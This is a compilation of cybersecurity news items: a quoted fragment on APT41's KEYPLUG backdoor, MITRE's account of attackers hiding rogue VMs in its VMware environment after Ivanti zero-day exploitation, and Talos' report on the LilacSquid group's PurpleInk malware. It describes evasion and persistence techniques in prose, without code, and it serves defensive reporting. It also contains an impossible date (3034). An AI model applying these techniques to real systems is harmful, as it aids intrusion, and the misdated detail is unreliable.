“APT41, has always been distinguished by its sophistication and ability to conduct global cyber espionage operations. One of the tools it has used and continues to use is KEYPLUG, a modular backdoor capable of evading major detection systems has offered the attacker the ability to be silent within compromised systems for months.” Luigi Martire, Technical Leader at Tinexta Cyber told Security Affairs. The risks associated with industrial espionage carried out by groups such as APT41 are significant. Their operations can aim to steal intellectual property, trade secrets, and sensitive information that could confer illicit competitive advantages. Companies operating in technologically advanced or strategic industries are particularly vulnerable, and the consequences of such attacks can include large economic losses, reputational damage, and compromised national security”
The MITRE Corporation revealed that threat actors behind the December 2023 attacks created rogue virtual machines (VMs) within its environment.
The MITRE Corporation has provided a new update about the December 2023 attack. In April 2024, MITRE disclosed a security breach in one of its research and prototyping networks. The security team at the organization promptly launched an investigation, logged out the threat actor, and engaged third-party forensics Incident Response teams to conduct independent analysis in collaboration with internal experts.
MITRE spotted the foreign nation-state threat actor probing its Networked Experimentation, Research, and Virtualization Environment (NERVE), used for research and prototyping. The organization immediately started mitigation actions which included taking NERVE offline. The investigation is still ongoing to determine the extent of information involved.
The organization notified authorities and affected parties and is working to restore operational alternatives for collaboration.
Despite MITRE diligently following industry best practices, implementing vendor recommendations, and complying with government guidance to strengthen, update, and fortify its Ivanti system, they overlooked the lateral movement into their VMware infrastructure.
The organization said that the core enterprise network or partners’ systems were not affected by this incident.
According to the new update, threat actors exploited zero-day flaws in Ivanti Connect Secure (ICS) and created rogue virtual machines (VMs) within the organization’s VMware environment.
“The adversary created their own rogue VMs within the VMware environment, leveraging compromised vCenter Server access. They wrote and deployed a JSP web shell (BEEFLUSH) under the vCenter Server’s Tomcat server to execute a Python-based tunneling tool, facilitating SSH connections between adversary-created VMs and the ESXi hypervisor infrastructure.” reads the latest update. “By deploying rogue VMs, adversaries can evade detection by hiding their activities from centralized management interfaces like vCenter. This allows them to maintain control over compromised systems while minimizing the risk of discovery.”
The attackers deployed rogue virtual machines (VMs) to evade detection by hiding their activities from centralized management interfaces like vCenter. This tactic allows them to control the compromised systems while minimizing the risk of discovery.
On January 7, 3034, the adversary accessed VMs and deployed malicious payloads, including the BRICKSTORM backdoor and a web shell tracked as BEEFLUSH, enabling persistent access and arbitrary command execution.
The hackers relied on SSH manipulation and script execution to maintain control over the compromised systems. Mitre noted attackers exploiting a default VMware account to list drives and generate new VMs, one of which was removed on the same day. BRICKSTORM was discovered in directories with local persistence setups, communicating with designated C2 domains. BEEFLUSH interacted with internal IP addresses, executing dubious scripts and commands from the vCenter server’s /tmp directory
In the following days, the threat actors deployed additional payloads on the target infrastrcuture, including the WIREFIRE (aka GIFTEDVISITOR) web shell, and the BUSHWALK webshell for data exfiltration.
The threat actors exploited a default VMware account, VPXUSER, to make API calls for enumerating drives. They bypassed detection by deploying rogue VMs directly onto hypervisors, using SFTP to write files and executing them with /bin/vmx. These operations were invisible to the Center and the ESXi web interface. The rogue VMs included the BRICKSTORM backdoor and persistence mechanisms, configured with dual network interfaces for communication with both the Internet/C2 and core administrative subnets.
“Simply using the hypervisor management interface to manage VMs is often insufficient and can be pointless when it comes to dealing with rogue VMs.” continues the update. “This is because rogue VMs operate outside the standard management processes and do not adhere to established security policies, making them difficult to detect and manage through the GUI alone. Instead, one needs special tools or techniques to identify and mitigate the risks associated with rogue VMs effectively.”
MITRE shared two scripts, Invoke-HiddenVMQuery and VirtualGHOST, that allow admins to identify and mitigate potential threats within the VMware environment. The first script, developed by MITRE, Invoke-HiddenVMQuery is written in PowerShell and serves to detect malicious activities. It scans for anomalous invocations of the /bin/vmx binary within rc.local.d scripts.
“As adversaries continue to evolve their tactics and techniques, it is imperative for organizations to remain vigilant and adaptive in defending against cyber threats. By understanding and countering their new adversary behaviors, we can bolster our defenses and safeguard critical assets against future intrusions.” MITRE concludes.
A previously undocumented APT group tracked as LilacSquid targeted organizations in the U.S., Europe, and Asia since at least 2021.
Cisco Talos researchers reported that a previously undocumented APT group, tracked as LilacSquid, conducted a data theft campaign since at least 2021.
The attacks targeted entities in multiple industries, including organizations in information technology and industrial sectors in the United States, organizations in the energy sector in Europe, and the pharmaceutical sector in Asia.
Threat actors were observed using the open-source remote management tool MeshAgent and a customized version of QuasarRAT malware tracked by Talos as PurpleInk.
PurpleInk is the primary implant in post-exploitation activity in attacks aimed at vulnerable application servers.
The attackers exploited vulnerabilities in Internet-facing application servers and compromised remote desktop protocol (RDP) credentials to deploy a variety of open-source tools, including MeshAgent and Secure Socket Funneling (SSF), alongside customized malware, such as “PurpleInk,” and “InkBox” and “InkLoader loaders.” The Secure Socket Funneling (SSF) tool allows attackers to proxy and tunnel multiple sockets through a secure TLS tunnel.
The threat actors aim to establish long-term access to compromised victims’ organizations to steal sensitive data.
The researchers pointed out that LilacSquid’s tactics, techniques, and procedures (TTPs) overlap with North Korea-linked APT groups such as Andariel and Lazarus. The Andariel APT group has been reported using MeshAgent for post-compromise access, while Lazarus extensively uses SOCKs proxy and tunneling tools along with custom malware to maintain persistence and data exfiltration. LilacSquid similarly uses SSF and other malware to create tunnels to their remote servers.
InkLoader is .NET-based loader designed to run a hardcoded executable or command. It supports persistence mechanism and was spotted deploying PurpleInk.
LilacSquid uses InkLoader in conjunction with PurpleInk when they can create and maintain remote desktop (RDP) sessions using stolen credentials. After a successful RDP login, attackers downloaded InkLoader and PurpleInk, copied to specific directories, and InkLoader is registered as a service. The service is used to launch the InkLoader, which in turn deploys PurpleInk.
PurpleInk is actively developed since 2021, it relies on a configuration file to obtain information such as the command and control (C2) server’s address and port, which is typically base64-decoded and decrypted.
PurpleInk is heavily obfuscated and versatile, the malware supports multiple RAT capabilities including:
Enumerating processes and sending details to the C2.
Terminating specified processes.
Running new applications.
Gathering drive information.
Enumerating directories and obtaining file details.
Reading and exfiltrating specified files.
Replacing or appending content to specified files.
Talos also observed the APT using a custom tool called InkBox to deploy PurpleInk prior to InkLoader.
“InkBox is a malware loader that will read from a hardcoded file path on disk and decrypt its contents. The decrypted content is another executable assembly that is then run by invoking its Entry Point within the InkBox process.” reads the analysis published by Talos.